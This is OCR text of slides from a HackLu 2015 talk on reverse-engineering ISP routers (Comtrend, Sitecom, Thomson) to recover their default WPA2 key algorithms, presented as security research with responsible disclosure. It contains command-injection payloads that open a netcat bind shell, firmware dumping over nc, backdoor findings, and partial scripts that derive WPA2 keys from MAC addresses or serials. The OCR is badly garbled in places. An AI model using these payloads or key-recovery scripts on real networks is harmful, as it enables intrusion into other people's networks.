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Abstract

A wireless router is a networking device that enables a
user to set up a wireless connection to the Internet. A
router can offer a secure channel by cryptographic means
which provides authenticity and confidentiality. Nowa-
days, almost all routers use a secure channel by default
that is based on Wi-Fi Protected Access I1 (WPA2). This
is a security protocol which is believed not to be sus-

rentihle ta nractical kav recavery attacke However the

Verdult

work interface and connect to a wireless base station
(router) that gives access to the Internet. Such a router
often serves as a firewall and is the first line of defence
against malicious intruders that are active on the Internet.
The user’s devices operate in a internal network environ-
ment, the Local Area Network (LAN), which is separated
by the router to protect against outside traffic, the Wide
Area Network (WAN).

To gain access to a protected wireless LAN interface.
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Introduction

¢ What this talk is about

Mme =

SSID (Network Name): BD3EAC
WPA/WPA2 (Wireless Key): [nOt5oR4ndOm!|
CERTIFIED

RnEn € € @ X ummmmm

S/N: 016182

@ Basic hardware hacking

® Propose a methodology to reverse-engineer routers
® Find out WPA2 password generating algorithms used by ISPs
O Responsible disclosure procedure with Dutch ISPs and NCSC ?

“https://www.ncsc.nl/english
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Introduction

WPA Authentication: 4-way handshake

msc WPA-PSK Personal : 4-Way Handshake. Mutual authentication Process
Client Access Point
Supplicant ] Authenticator

Set up manually the passphrase (Pre Shared Key PSK) and
generate Pairwise Master Key(PMK)! 256-bit

(1) ANonce , AA

:| (2) SNonce , SA, MIC,

PTK
derived
and GTK
if needed

(3) Install PTK, GTK e, MIC, i

(1) ACK, MIC,15

Key
Installed

PMK = PBKDF2(hash-function, passphrase, salt, iterations, key length) WPA1-MD5 & WPA2-SHA1

PTK = PBKDF2(ANonce, SNonce, AA, SA, PMK)
Scrutinizing WPA2 Algorithms in Wireless R
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Introduction

Wireless Authentication & Deauthentication

Computer C Router R | Computer C | \ Adversary A | Router R

Authentication challenge C Encrypted chnlcallon

Authentication challenge R, response C Deauthentication notification

Authentication response R
Authentcaton Acknowledge [Dethenticte] »
Authentication challenge C

Authenticated Authenticated Authentication challenge R, response C
Encrypted communication

Authentication response R

; ; Authentication Acknowledge
Authenticated Authenticated
Encrypted communication

Figure : WPA2 4-way handshake
authentication

Figure : WPA2 deauthentication
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Methodology

Firmware image structure

| 0x00000 Bootloader |
| oxto000 Bootloader backup |
Vo Kernel |
| 0x..  CGode (0S) ro, packed, obfuscated |

| gzip, lzma, zlib |
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Methodology

Binwalk: RE hexdumps with signatures

zlib : 78 01, 78 9C, 78 DA

gzip : 1F 8B LZMA : 5D 00 00 80
SQFS : 68 73 71 73 JFFS2: 85 19
YAFFS: 03 00 00 00 01 00 00 00 FF F

Tools

® Disassembler IDA Pro — MIPS arch
® Binwalk — Unpack FW
® QEMU — MIPS emulator
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Methodology

Obtaining the firmware

All the information resides into the firmware image,

@ Downloading from their website — FW images & updates
® Exploiting vulnerabilities — RCE, Cl, OVF, CSRF...

FTP & Telnet server
HTTP server

UPnP & DLNA
TR-069 ...

© Discovering HW debug interfaces: UART and JTAG
O Desoldering the flash chip
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Methodology

% Recap: Public download

K

s
-]
)

® Seldom happen — Especially ISPs
® Obfuscated — Bootloader included?
@ byte-nibble-block swapping
® XOR obfuscation — watchout 00 & FF chunks :)
© Challenging w/o bootloader
©® Encrypted (AES, DES) — Need the responsible for dec.
O ISPs — TR-069 for auto-upgrading

@ Requirement — A valid IP range
@® Find bugs in there — Might be illegal :(
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Methodology

OS Command injection: Ping |

A2
(}Q o
"c:re"-

Mma <«

Low-hanging fruit

[Telnet 192.163.1.1

[BCM96328 Broadband Routew

ogin: admin

Password:

> shell

telnetd 11.359:p Input:316

> sh
telnetd 14.226:p Input:316
> sysinfo &k ch
24.173:p Input:316 i d sysinfo & sh

ns
lanhosts

ppD
restoredefault

Suversion
cfgupdate
ggtdeviceinlo
ping a:
PING a (192. 168.2.1>: 56 data bytes
ping: sendto: Network is unweachable

linuxrc

pindaYeid2 Ter 2.5+ 56 data Fytes
ping: sendta: Network is unreachable

Bus yBox v1.08 <2013.01.21-16:17+@0AB> Built—in shell <ash)
[Enter 'help’ for a list of built-in commands.

i id

ish: id: not found
it echo SUSER
;ont
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Methodology

OS Command injection

Connected to 192.168.1.1.

Escape character is '*]'.

BCM96368 Broadband Router

Login: user

Password:

> ping 2>/dev/null && sh

Warning: operater & is not supported!
= ping 2=/dev/null ; sh

Warning: operator ; is not supported!
= ping 2=/dev/null | sh

> ping 2=/dev/null | ps w | grep telnet

20035 - COr 5008 S telnetd -m @

20036 - !CAr 5004 S telnetd -m @

20120 - CBr 1532 § sh -c ping 2»/dev/null | ps w | grep telnet
20123 - !COr 1532 S grep telnet

dev/null | cat /proc/20036/fd/@ | sh

echo $USER

root
0 e -l
Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
36.1 0.0.0.0 255.255.255.255 UH ] ] 8 pppl.2
238.4 10.80.0.1 255.255.255.252 UG a a @ ptm@.1
4.56 16.80.0.1 255.255.255.252 UG ] ] 8 ptm@.1
5.160 10.144.0.1 255.255.255.240 UG a a @ ptm@.3
5.176 10.144.0.1 255.255.255.240 UG ] ] 0 ptm@.3
it 8] 44 8] 1

A __oimi
WPA2 Algorithms in Wireless Routers

A4 [l Al
Novella, Meijer, Verdult HackLu 2015 Scrutinizing



Methodology

OS Command injection: Ping IlI

Using the USB to pwn the box

€ ) @192.168.1.1

e

HUAWE!

HUAWEI Home Gateway

Maintenance > Diagnose

“iptiables 2etNPUT -i brO -j ACCEPT;chmod 777 /mnt/usbl_1/busybox;/

#P staus mnt/usbl 1/busybox nc -l -p 1337 -e /bin/sh*
@ e Diagnose

i’% Advanced

Maintenance

Destination address:
Executing the ping function. Please walt ..

Account dudu@
Device ~/Desktop/huawei
Diagnose : 1

Log

Novella, Meijer, Verdult Scrutinizing WPA2 Algorithms in Wireless Routers 16 / 78



Methodology

; % Recap: Logical flaws

Ups & downs

@ Do not need HW background
® Do not need to open it up — :-)
® Do not need to have soldering skills

O Not always feasible or time-consuming

Commands

@ cat /proc/mtd
® dd if=/dev/mtdblock of=/mnt/usb/fw.bin bs=1
© cat /dev/mtdblock | nc -1 -p 1337
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Methodology

Opening the box: HW recognition

T Power LANI LANZ LANI LANG WLAN WPS
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Methodology

UART'ing a device | (Serial port)

PAN,
& g
crre®

MiNe €

UART (universal asynchronous receiver/transmitter)

DRSS R

2 Ralink

RT3052F
P2P4630D0
1018PT

AR
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Methodology

UART'ing a device Il: Hooking it up
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Methodology

UART'ing a device Ill: Debugging info

CFE version 1.0.37-106.24 for A4001N TEF 0001 BCM96328 (32bit,SP,BE)
Build Date: mar set 6 12:27:14 CEST 2011 (marcodl@localhost)
Copyright (C) 2000-2009 Broadcom Corporation.

HS Serial flash device: name MX25L128, id @xc218 size 163B4KB
Total Flash size: 16384K with 4096 sectors

Chip ID: BCM6328BO, MIPS: 3260MHz, DDR: 326MHz, Bus: 160MHz
Total Memory: 33554432 bytes (32MB)

Boot Address: 0xb8660000

Board IP address : 192.168.1.1: T ffE0O
Run from flash/host (f/h) f

Default host run file name : vmlinux

Default host flash file name : bem963xx_fs_kernel
Board Id (©-4) : 963281TAN

Base MAC Address : 84:26:15:ae:bc:13
PSI Size (1-64) KBytes : 64

Enable Backup PSI [@]1] : 0

System Log Size (0-256) KBytes : 0

Main Thread Number [0]1] : 0

*** Press any key to stop auto run (1 seconds) ***

Auto run second count down: @

Booting from only image (@xb8010008) .

Code Address: 0x80010000, Entry Address: ©x80014230

Decompression OK!

Entry at 0x80014236

Starting program at 0x80014230

Linux version 2.6.38 (cxlgiordan@thor) (gcc version 4.4.2 (Buildroot 2010.02-git

) )} #1 Mon Jan 21 17:14:53 CET 2013

HS Serial flash dev1ce name MX25L128 id Exc218 size 16384KB
3 00

il 0
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Methodology

UART'ing a device IV: Debugging info

Determined physical RAM map:

memory: 01f08000 @ OOOOOEOR (usable)
Zone PFN ranges:

DMA 0x00000000 -> O0x00001000

Normal ©x€000100€ -> @x00001fEQ
Movable zone start PFN for each node
early node _map[l] active PFN ranges

0: 0x00000000 -> Bx00001f00

Kernel command line: root=31:0 ro noinitrd console=ttyS@,115200
Serial: BCMG63XX driver $Revision: 3.00 $
ttySe at MMIO ©xboEEOLeE (irg = 36) is a BCMG3XX
ttySl at MMIO ©xboee@l20 (irg = 47) is a BCME3XX
bemxtmrt: Broadcom BCM6328B& ATM/PTM Network Device
init started: BusyBox v1.0@ (2013.01.21-16:17+0000) multi-call binary
BusyBox v1.60 (2013.81.21-16:17+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

===== Release Version PDGA40OON_PT 4.06L.2.2828 (build timestamp 130205_1145) ==

SerialNumber: 47502E0021746
SSID: ADSLPT-AB37495

WPA Key: 78leqnej

WPS Device PIN = 14258671
Setting SSID: "ADSLPT-AB37495"

BCM96328 Broadband Router
Login:
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Methodology

% Recap: UART interface

@ HW needed — i.e USB2ttl dongle, Bus Pirate

® Discover the baudrate & pinout — Bruteforce

© Soldering skills required

O Getting into Bootloader by pressing a key prior 3 seconds

@ Provides plenty of useful info — SoC, Memory info, baseaddr
® Not always opened — Password-protected

@ Bruteforcing the password or shorting pins — Doable

Commands

@ python baudrate.py -p /dev/ttyUSBO
® minicom -s
© screen /dev/ttySO 115200
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Methodology

i§7: JTAG'ing a MIPS SoC

| i £ e it 1 \ ¥ %
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Methodology

Recap: OpenOCD Commands |

$ openocd -f openocd.cfg

Open On-Chip Debugger 0.8.0 (2014-07-08-18:13)

Licensed under GNU GPL v2

For bug reports, read

http://openocd.sourceforge.net/doc/doxygen/bugs.html

Warn : Adapter driver ’usb_blaster’ did not declare which transports it allows;
Info : only one transport option; autoselect ’jtag’

trst_only separate trst_push_pull

adapter_nsrst_delay: 100

jtag_ntrst_delay: 100

force hard breakpoints

Info : No lowlevel driver configured, will try them all

Info : usb blaster interface using libftdi

Info : This adapter doesn’t support configurable speed

Info : JTAG tap: vrx200.cpuO tap/device found: 0x00001183 (mfg: 0xOcl, part: Ox
Info : JTAG tap: vrx200.cpul tap/device found: 0x00000183 (mfg: 0xOcl, part: Ox
Info : accepting ’telnet’ connection from 4444
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Methodology

Recap: OpenOCD Commands I

$ telnet localhost 4444
Open On-Chip Debugger

> targets
TargetName Type Endian TapName State
0% vrx200.cpul mips_m4k big vrx200.cpul running

> flash banks
#0 : vrx200.nor0 (cfi) at 0xb0000000, size 0x00800000, buswidth 2, chipwidth 2
#1 : vrx200.norl (cfi) at 0xb4000000, size 0x00800000, buswidth 2, chipwidth 2

> halt
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x800056fc

> targets
TargetName Type Endian TapName State
0% vrx200.cpul mips_m4k big vrx200.cpul halted

> dump_image norflashl.bin 0xb0000000 0x00800000
dumped 8388608 bytes in 19577.435547s (0.418 KiB/s)
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Methodology

% Recap: JTAG interface

® HW needed — i.e Altera BusBlaster, J-Link

® Tedious to find out the pinout — enumJTAG, JTAGulator

® OpenOCD, UrJTAG — No config done — Dig into HW specs
® Obfuscated? — TRICK: Wait until loaded into RAM as clear

O Not always available in SoC or Password-protected
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Methodology

iS7:  Dumping the flash chip
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Methodology

Dumping the flash chip

Figure : Using clips Figure : Desoldering the memory
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Methodology

% Recap: Desoldering

Ups & downs

@ HW needed — Rework station (€100),
EEPROM reader( €500), Chinese readers (€80)

® Quite expensive — TSOP48, TSOP56 sockets (€40 each)
© Device might remain broken — Soldering back works!

O BGA package is not used in routers

® Always possible — obfuscated? encrypted?

Figure : NAND memory Figure : TSOP socket
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Findings & Vulnerabilities

% Comtrend: Findings

® UART— Tiny OpenWRT into RAM

e Dump FW (Flash)
e Enable telnet

® Backdoors detected in all routers

® OS command injection in Telnet service — Got root
O Stack buffer overflow in HTTP server — ROP gadgets
® WPA2 password generating algorithms

Novella, Meijer, Verdult HackLu 2015 Scrutinizing WPA2 Algorithms in Wireless Routers 31/ 78



Findings & Vulnerabilities

Comtrend: Backdoors and super-admin

® Firmware dumped via i ——
1w $s3, (glbAccessMode - 8x1888CA18) ($vB)

serial console UART be 55 o o e
® Credentials are -5

la $a1, 8x550008
(dword_180128D0 - 0x10012848) (§s2)

hardcoded o g e
addiu 4a1, (allser - 93550000 m

¥

e Cannot be changed by A
o' Sgp. 0xad+var_30(§sp)
customer 2
e Cannot be changed by TRET—
. la 9, stremp
ISP without fw update [ R I:]
. zgdiu 31, (:Zflskyuh - 0x550000) |1 “AFIGKyuE!
e Plaintext, not hashed 1o 3o ovineear 308

If (this user) then
"admin |mode"

los_dcEaa:
$s3, $ve, loc_4EE500
lz $t9, m_burn

. 6550000
. strenp
, {dword_100128D0 - 0x10012848) {552} # s1

: strenp
. (andnin - 0550000) i “adnin®

Scrutlnlzmg WPA2 Algorithms in Wireless Routers
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Findings & Vulnerabilities

Comtrend: Command Injection in telnet service

® Telnet command sanitization

L]
;“ = a0, 0x550800 L] Checks for ,&’
a €9, puts

jalr t3 : puts 1
addiu a0, (aWarningOperato - 0x550000) | # “Warning: operator & is not supported!”| | o Checks for )

1w gg, gxlniﬂwavinﬂ(SSp) .
nove  $ab. Ssi
e o e Does not check for ’|
la al, 8x550000
1a t3, strncpy .
jalr t3 ; stracpy —
addiu a1, (dword_549C84 - 08x550000) StIII vulnerable
1w gp. OxB8+uar_n8($sp)
i

Y]

loc_a5E6D8:

la $t9, strchr H LYy

E A -4 What about pipe "|" 7

jalr  6t9 : strchr N

5" & e And quotes "7 ?

nove  $s0, $uo

beqz $ loc_asE71c

1w $gp, 0xBB+var_As ($sp)

L]

Y
la $aB, 0x550080
1a &t9, puts
jalr $t9
addiu  $as, (aWarningOpera 0 - B8x550000) | “Warning: operator ; is not supported?”
1w Sgp. ©xB8tvar_a8{$sp)
nove  $ao. $so
1i $a2, 2
la $al, 9x550000
1a $t9, strncpy

jalr $t9 ; strncpy
addiu  $al, (dword_549084 - 9x550900)
1w $gp, 0xB8+var_n8{$sp)

Meijer, Verdult Scrutinizing WPA2 Algorithms in Wireless Routers



Findings & Vulnerabi

Comtrend: How to obtain WPA keys?

L ]
e =
la a1, 0x550000
la 3, strcaseemp
move a0, $s8 =1
jalr 9 ; strcasecmp
addiu  Sal. (aVersion - 8x550080) I “version”
1w gp, OxB8+var_AB{Ssp)
beqz v, loc_45E7ER
la ta, _zN1iclishellcndi7processVersioncndEPe  # clishellcnd: :processversioncnd (char x)
h
FIZIE]
la $al, Bx5568000
la $t9, strcasecnp
nove 5a8, $s0 s f
jalr  §t9 ; strcasecmp Comma_nds in the
rlnidiu gat {awd nn(g : constrained shell
w gp. BxBB+uar | Sp N
beqz  SvB, loc_45E7EQ via telnet
la $t9, _zNT1c1ishellcmd23pr d &t clishellcnd: : processshowHDSWPAkeyGnd {char =)
=
la $al, 0x550000
la $t9, strcasecmp
move  Sad, 5s8 # st
jalr $t9 : strcasecmp
addiu  Sal, (aVdsl - 8x550880) 1 “vdsl”
1w $gp. OxB8+var_ng(5sp)
beqz $ve, loc_45E7E8
la §t9, _zN11Clishellcnd22processShowdDSLInfoCndEPe 1l CliShellCnd: :processShowVDSLInfoCnd {char =)

Novella, Meijer, Verdult
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Findings & Vulnerabilities

Comtrend: How to obtain WPA keys?

nmve a1, peeru "L
1w gp. 0x50+var_40{5sp)
la al, 0xbhoooe
la al, 0x540008
la t9. fopen
addiu ad, (aMdSsumVarMdSent+8x18 - Bx55 3y
jalr t9 ; fopen
addiu al, (aGmt@88aMdSsunVarMdSen:. ascii ['mdSsum fvar/mdSencode > fvar/mdSresult™<@.
1w gp, Ox58+va # DATA XREF: WlMngr::getfarDefault{char
move s, $vB
nove aB, $s1 s
la t9, memset
nove al, Szero te
beqz vA, loc_d45CA3C
1i a2, 0x21 #n
M
jalr $t9 : menset
nop
1w gp, Bx50+var_48{$sp)
nove ap, $s1 s
li al, @zD #n
la t9, fgets
jalr t9 ; fgets
nove a2, $s8 i stream
1w gp, Bx58+var_48 {5sp)
move az, 3si
la vB, stdout
la al, 0x550000
la t9, fprintf
1w af, ({stdout - Bx180189CC) ﬁvﬂl I stream
jalr t3 ; fprintf
addiu al, {aWpakeyS - 0x550000) | I “wpakey:%s'\n
1w gp. Ox50+var_48{$sp)
T

Novella, Meijer, Verdult
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Findings & Vulnerabilities

Comtrend: How to obtain WPA keys?

W al, Bx2DB+var_2C0(Ssp)

addiu al, {aTceolmet2rendd - Bx5508008) 1 “tceolmet2rendB02x402:%02:%802:%502:502 %"
move al, §s2 s

sw vB, Bx2DB+var_2C8 ($sp)

jalr t9 ; sprintf

sw s5, Bx2D8+var_2BE(5s

v don. oscbssear smoiees) Seed + WAN MAC address + LAN MAC address
nove a2, $s2

move al, Ss@ s

la al, 06x550000

la t9, sprintf

jalr t9 ; sprintf

addiu a1, (aEchoNSVarMd5en - 8x558888) i “echo -n %s > [var/mdSencode”

1w gp. Bx2D8+var_2B0 ($sp)

nove al, Ss@

la t9, bcmSystenEx

jalr t9 : bcnSystemEx

li al, 1

1w gp. Bx2DB+var_2B8 ($sp)

move a3, Ss@ . .

la y R plaintext ciphertext
addiu a2, Sv@, (aMds VarMd5en - 8 ) ¥ "mdS5sum {var}md5encode > Jvar{mdSresult”
addiu td, %a2, {aMdSsumVarMdSen+Bx20 - 0x553938)

loc_49CECC:
1w Sva, 0(%a2)
1w vl 4{%a2)
1w Sal, 8(%az)
1w $al. 0xC{%a2)
addiu $a2, @x18

sH $vo, 0{%a3)
sH vl 4{%a3)
sw Sal, 8(%a3)
Sal, 0xC{%a3)
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Comtrend: How to obtain WPA keys?

|addiu a3, 8x1@ I
h

FIZE]
1w vl, 6{%az2})
lhu aB, 4{$az2})
1bu ve, G6{%az2)
la t9, bcmSystemEx
su vl, 6{%a3)
sh ap, 4{$a3s})
sh ve, G{%a3})
move a8, §s0 What about patching the|FW
jalr t9 ; bcm3ystemEx . .
1i at, 1 image with
Lu ap, Ux208+var 280 (jsp) Is /var/md5encode ??
nove a@, S$s@ T
la v1. Bx550008
la t9, bcnSystemEx
addiu ve, Sv1, {(aRmVarMdSencode - ©@x5500008) # “rn /var/ndSencode”
1hu a3, {(aRmVarMdSencode+8x10 - 8x553960) (Sv0)
1w al, {aRmVarMdSencode+d - 8x553968) (Svo)
1w a2, (aRmVarMdSencode+8 - Bx553968) ($v0)
1w v1, {aAmVarMdSencode - Bx550000) {$v1} # “rn fvar/ndSencode”
1w vB, {aRmVarMdSencode+8xC - @x553960) (Sva)
sw al, Bx2D8+var 24C({5sp)
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Comtrend: How to obtain WPA keys?

M D > Frame 4226: 518 bytes on wire (4144 bits), 518 bytes captured
5 > Radiotap Header vO, Length 14

v IEEE 802.11 QoS Data, Flags: .p.....T
Type/Subtype: QoS Data (0x0028)
constant seed, uresiztins Tl
.000 0000 0000 OO0 = Duration: O microseconds
|0Wercase ethernet mac add ress Receiver address: 00:1a:2b: (00:1a:2b: )
' o — R
Transmitter address: ( )

uppercase wifi mac address Somen siarens ( )

(Destination address: 38:72:c0: ) (38:72:c0: )

Fragment number: O
Sequence number: 823
>-Qos Control: 0x0000
> CCMP paraneters
> Data (470 bytes)

©® Bruteforce: 22, Minutes using GPUs
® 802.11 headers hold mac addresses in plaintext

e Capturing a single raw packet is sufficient
e Allows instant computation of passphrase
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Comtrend: Biggest ISP in Spain, 2010

$ sysinfo && sh
# for i in /*; do echo $i ; done

Lono: onosecso “Goutd not apen ssh 12340192.168.1.1
Fono: panorcen DAt AR sun_ 13656 uBtTo
L ost '192.168.1.1 (192.168.1.1)' can't be
LOAD : BOOBECEC A ke e e5:f5:24:75:70:e5:4b:08:c6:e5:49:5e : 1f : 5
Cono: pausrces AT REF S o TanCADoTe 2
LOAD : DBOBECAS 9, 0 cnntlnuﬁ connecting (yes/no)? yes
R S— o0 % > svarrmisencoteco> 2.168.1.1' (RSA) to the list
Lono: oaosEchs {"BaTh R ub_136
L V Dath waer+ S0
L0 000D e
h brasstartasen: 33e “ndssun oo mdsencote > Juar nisresutico
Fon bt Teseseusta
Lono: Lyt
ton ¢ buarmisresuit:  o8ess var masresuito<w 1 onTn e s rasneeesto
Lon AR
Lo -byte § shared
L0 30000¢ boviatotnead_o: 38611 couts not rean fuaendsrasutc<o> o
Lono: oaooroos 2 DaTh SRET sun 10606700t
Conp:anoacozn
o5 ""coutd not open suar/ndsresurt o>
AT AR S 136067E0T0

Lono: oaoseban nate o
Cono: panoDac i ¥ DRTR AREF sub_19605-810T0
Cono: oauseDst et B 1043 _in she

SRRl oo szt woion: hepta imaotes i~ & bar HieEs s dasacsoncte Busy Box @ .09-10:31+0000) Built-in shell (nsh)
L m z Enter 'help' for a list of built-in commands.
Lono: 000Eb71 te 0, 9, 0
[0 DA0SED7h aVID_questh:  Lameii STk uestaa co> 8 DATA SREF: sun_196sseacite

LOAD : BOBSEDST e 0, 0, 0 # cat /var/md5encode
LOAD:DOOSEDS! aWID_D: lascii “uia.gam<o » DATA NRE '
L c " Tect returng errs

ret=ganco>

Figure : Same algorithm, different

secret seed Figure : They forgot to remove the

plaintext!
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Sitecom
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Sitecom: Previous Findings

Italian researchers released the following problems:*

® Sitecom WLM-3500 backdoor accounts

® WLM-3500 and WLM-5500 — Wireless keys
©® Firmware obfuscation — XOR encryption

O WLR-4000 and WLR-4004 — Wireless keys

© Several web flaws

'http://blog.emaze.net
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% Sitecom: Our findings

® WLR-2100 and WLR-2500 — New algorithm

® WLR-XXXX and WLM-XXXX — Confirm all affected
© WL-XXX — New algorithm

® Around 90% are affected — Only MAC is needed :(
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Sitecom: WPA generation

[E=i xrefs to strMacstrioMacAddr _ ol x|

Directior | Ty|| Address

syswWilanGenWpsPinCodeByL ANMac+70
sysWilanGenWpsPinCodeByL ANMac+64
new_generateWPA2PSKbyMac+12C Jalr

$t9 ; strMacStrToMacAddr
$t9, strMacStrToMacAddr
$19 ; strMacStrioMacAddr

new_generateWPA2PSKbyMac+11C B $t9, strMacStrioMacAddr
generateWPA2PSKbyMac+C4 jalr  §t9 ; strMacStrioMacAddr
generateWPA2PSKbyMac+B4 la $t9, strMacStrToMacAddr
.got:strMacStrToMacAddr_ptr .word strMacStrToMacAddr

oK | Cancel | Search | Help |

Line 3 of 7

Figure : Only mac is involved. Never using random functions

Scrutinizing WPA2 Algorithms in Wireless Routers
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Sitecom: WPA generation

Novella, Meijer, Verdult

eETEE
or atoliPA2PSKbyhtac
neratelPAZPSKbyac
]
o =
1a al, 0x10000
move  $a0. $ai loc_ED28
jalr  $t9: strepy a $al, 0x10000
laddiu  Sal, (a2345678%abedef - 0x10000) ¥ "23456789ABCOEFGHIKLHNPORSTUULXVZ38E2" | [nove  $aB. $s1
1 op. Ox106+uar_Fo($sp) jalr  $ts
nove  $a0. $s2 addiu  $al, (a0123456789ab_3 - 0x10000) H "0123456789ABCOEFGHT KLHNOPORSTUUXYZ
a1, 0x10000 $Sop. Ox100+var_Fo($sp)
1a ts, strepy move  $ad,
b oc_| 1a $al. 0x10000
laddiu__ $a1, (alixcdynjusuzabk - 0x10000) # "WXCDYNJUSUZABKLHGPOTRSITZESHIHFGPURZ"| [1a $t9, str
addiu__ $al. (alOxicdynjusvoz - 0x10000) # "WOXICOVNJUSUOZAOBKLYGPATRSIT2ESHISHEG
(X3 g
PEl
Loc_EDAC:
jalr  $ts . strepy
addiu  $s0, $sp. 0x100+var_90
1w $gp. Ox100+var_Fo($sp)
move $20
1a $t9. menset
move $a1, $zero
jalr  $t9 . memset
15 $a2, 0x30
1u Sop. Ox100+var_FO($sp)
move  $al. $s3
1a $t9, strMacStrToMacAddr
jalr  $t9 . strMacStrToMacAddr,
addin $an San Axinntar £2
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¢  Sitecom: WPA generation

def __init_ (s

self.bssid

bssid

def generateKey(

charset1, charset2 - self.CHARSETS[model]

mac - mac.decode("hex")

val - int(mac[2:6].encode("hex"), 16)
magicl
magic2
magic3

offsets
i

(val & ox

val - val

val - val

1
range (keylength) :
) :
magic2
1
val val
val - val
val val

magicl
1
magic3
offset - val % len(charsetl)
offsets.append(offset)
wpakey = "

wpakey - charset1[offsets[0]]
i in range(0, keylength-1):
magic3 - offsets[i]
magicl - offsets[i+1]

magic3 magicl:
magic3 - charseti[magic1]
magic3
magic3
wpakey

(magic3 + i + 1)

charset2[magic3]
magic3

len(charset1)

woakev
Novella, Meijer, Verdult HackLu 2015
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% Sitecom: WLR-2X00

We emulated an stripped MIPS binary:

$ chroot . ./gemu-mips-static bin/AutoWPA 000cf6ec73a0 wpamac
flash set WLAN-WPA-PSK NUWFBAYQJNXH

flash set USER-PASSWORD NUWFBAYQJNXH

flash set WEP128-KEY1-1 4e555746424159514a4e584800

M D5(MAC add reSS) converting to charset (A-Z)
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Sitecom: WLR-2X00. Epic fail :)

Reverse-engineered the whole MD5 hash function :(

harset[magic_nr724]

def createMagichunt
3 :
many j*a: )74], seed[j16:(j+1) 16], macs[j], )

ve - data[1]

(ve f
data[2]
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Sitecom: WLR-2X00

peld
()e Y
"cn'e"'

Mme <«

re
sys
hashlib

charset * ABCDEFGHJKLMNPQRSTUVIWNXYZ '

def gener‘atekey(maglc nr):
key
i-o
(i<12):
key charset[magic_nr#24]
magic_nr 24
i 1

key

def main():

(len(sys.argv)!-2):
sys.exit('[!] Enter MAC as argument\n\n\tUsage: python %s @@@cfeec73a@’ %(sys.argv[@]))

mac - re.sub(r*["a-fA-F@-9]°, '', sys.argv[1])
len(mac) 12:
sys.exit('[!] Check MAC format!")

md5 - hashlib.md5()
md5.update(sys.argv[1])

key - generateKey(int(md5.hexdigest()[-16:],16))

"MAC %s™ (mac)
“"WLAN WPA_PSK s (key)
“"USER_PASSWORD (key)

MUERA N0 VEWA . 0 0N O flean meen E AT

Nre

. wean .
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Sitecom: WPS generation

e =

. globl sys¥lanGen¥plsPinCodeByMac
syswl anGenWpsPinCodeByMac :
var_a= -4

1i ap.

addu gp, $ta

addiu sp, -0x20

sw ra, 0x20+var_a{$sp)

sw s0, 0x20+var_8($sp)

su ap, 0x20+var_10{$sp)
1bu v, 3(Sal

1bu v, 4{$al)

1bu a0, 5({$a0)

s11 v, 8

addu vl, $ve

s11 vl, 8

1ui vo, 0x98

addu w1, Sa8

1i v0, 0x989680 <~
bnez w8, loc_FECC [ 9,10000000
divu v, Svb

break  0x1c88

ol i =

Toc_roce:
la

9, ComputeChecksun
58

nthi

jalr  $t3 ; Computechecksum
move  3ad, §s0

T T

nult $s0, §v1

1w 4ra, Bx28+var_a($sp)
1w $gp, Bx28+var_18(5sp)
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THOMSOM. Remember SpeedTouch issue?

Figure : Generating ESSIDs from the SN
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THOMSOM. ESSID generation

W Svl, Dx7B+var_40{5sp)

lu Svd, (dword_S8BD3AG48 - 0x88D3A634) (Sv1)
W Svld, Bx7B+var_3C({5sp)

1w $vd, (dword B8OD3n644 - Bx88D3A634) (Sv1)
W Svl, Bx7B+var_38({5sp)

lui Sva,

addiu  Sv1, Sv8, (aThom d87d - 8x80D48088) | ## "Thom D¥A7d"
1w Sv@, aThom_de7d i “"Thom DE¥o7d"

W Svd, Ox7B+var_30(5sp)

1w Sva, (aThom da7d+4 - 0x88D3a648) (Sv

W Svl, Bx7B+var 2C{Ssp) l
1w Svd, (aThom da7d+8 - 0x808D34648) (Sv

W Svl, Dx7B+var_28{5%sp)

lui Sva,

addiu  Svi1, $vA, (aThom_gb7d - 8x88D48068) | #f "Thom G¥a7d"”
1w Sve, aThom_g87d i "Thom c¥ord”

W Sva, Bx7e+var_20({Ssp)

1w Svd, (aThom g@7d+4 - 0x8OD34654) (Svl1)
W Svl, Bx7B+var_1C{%sp)

1w Svd, (aThom_g@7d+8 - 0xBOD3AE54) (Sv1)
W Svd, Ox7o+var_18(5sp)

jal sub_805468C4

nove Sal, Ssp

bnez 551, loc_8B545EE8

1i Svl,
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THOMSOM. Stickers!

$ echo -n "TWG870)&*gwt00951101703274" | md5sum - | cut -c 1-26
362eb4ed0f0a71d6£f5d7a9ab7e

MODEL.TWGS70 @ ( € ()

Rating:12V.

A o
T ——<

= - =
!Hf‘:qulnﬁm%h|:|y|||:|:||il:|‘:|||:: e

S510; Thom 00052182 ) |1l I |" date : 0t/2011
P maumumusfsumam M la Gola
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THOMSOM

b4

 jumpranie svsac

Figure : Generating PSKs from the SN
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% THOMSOM in The Netherlands

.MODEL TWGB?OU = c .E (D

Ratir

Il m’fwﬂﬂll DIHIIHHI\I'IIH A =
i uuﬁmmunum 1 i

I!f Il mmu HIHI IS LA e
({1 A

I date -

hannel No. 1 MademCry

SSJ'D
WPAZ- PSK MOROK
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THOMSOM in The Netherlands

gau
addiu  $a0, $sp, 0xaorvar 28
i 1

sprintf
Salega0sd # "%88d"|

ro
sp, 0xa04var_28

ESSID%08d
[ i =
loc_80546620:
iu a2, $s0, §vi1
I ith addu v, s(g, Sl
1b 0, 0($ve)
a gorlt m addiu :1, SVI:’ 1
addiu  $ve. $v1. 8
s1ti V1, 231, H
novz  $ve. Sat, Gv
sra vo, 3 WPR
s11 vo, 3 F
subu  Sve, gzl, ganhc rset
addu  $ve, 3te, Svep\_
1b 8, 0($v0) A
nul a0, vl
R 1 3
public R
N sra Vi, 3
hidden sra 3o, $a0, 31
b 1, Svo
ESSID ErR R o
addu v8, vl
s11 vo, 2
addu vo, $ul
s11 vo, 1
subu a0, vl
addiu  $an,
sb a0, 0 ($a2)
s1ti v, $al, 8
bnez  $vo. loc 8esacs20
nave v, $a
=

v

Y
_ | [ ]
- 1947 19edAE" addu 4vo, $s0, $ail
- Bx80D3AGEA) ($vo) 1 9a719edaE”[ |sh $zero, 0{5v8)
3 - 0xBOD3AGEA) ($v0)

Figure : We fully reverse-engineered the algorithm used in Holland
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THOMSOM in The Netherlands

© void generatePSK(char *out, uint32 t *did)
© void generatePSK(char *out, bool alt, uint32 t *did)
{
char tmp[9];
uint32_t vi;
uint32_t vO;
uint32_t a2;
uint32_t vo, a0, a2;
uint32_t a0;
